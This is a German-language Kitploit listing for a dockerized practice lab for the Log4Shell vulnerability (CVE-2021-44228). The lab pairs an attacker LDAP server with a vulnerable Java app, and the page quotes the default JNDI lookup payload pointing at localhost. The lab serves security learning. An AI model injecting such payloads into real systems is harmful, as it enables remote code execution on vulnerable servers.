CVE-2021-44228_dockernize — Dockerisierte Laborumgebung zum sicheren Üben der Ausnutzung von CVE-2021-44228 (Log4Shell). Enthält einen Angreifer-LDAP-Server und eine angreifbare Java-Anwendung zum Testen eigener Payloads. | Kitploit

CVE-2021-44228 (Log4Shell) Laborumgebung für Sicherheitslücken

Einleitung

Dieses Projekt bietet eine dockerisierte Umgebung, um die kritische Log4j-Sicherheitslücke CVE-2021-44228 (Log4Shell) sicher zu üben und zu verstehen.

Hauptmerkmale

Sichere dockerisierte Testumgebung
Möglichkeit zum Testen benutzerdefinierter Payloads
Enthält einen LDAP-Server des Angreifers und eine angreifbare Java-Anwendung

Erste Schritte

docker compose up --build

Payload-Tests

Sie können den Payload im Testabschnitt von /vulnerable/Makefile ändern
Der Standard-Payload verwendet $${jndi:ldap://127.0.0.1:10000/}

CVE-2021-44228_dockernize

Beliebteste

CVE-2021-44228 (Log4Shell) Laborumgebung für Sicherheitslücken

Einleitung

Hauptmerkmale

Erste Schritte

Payload-Tests

Funktionsweise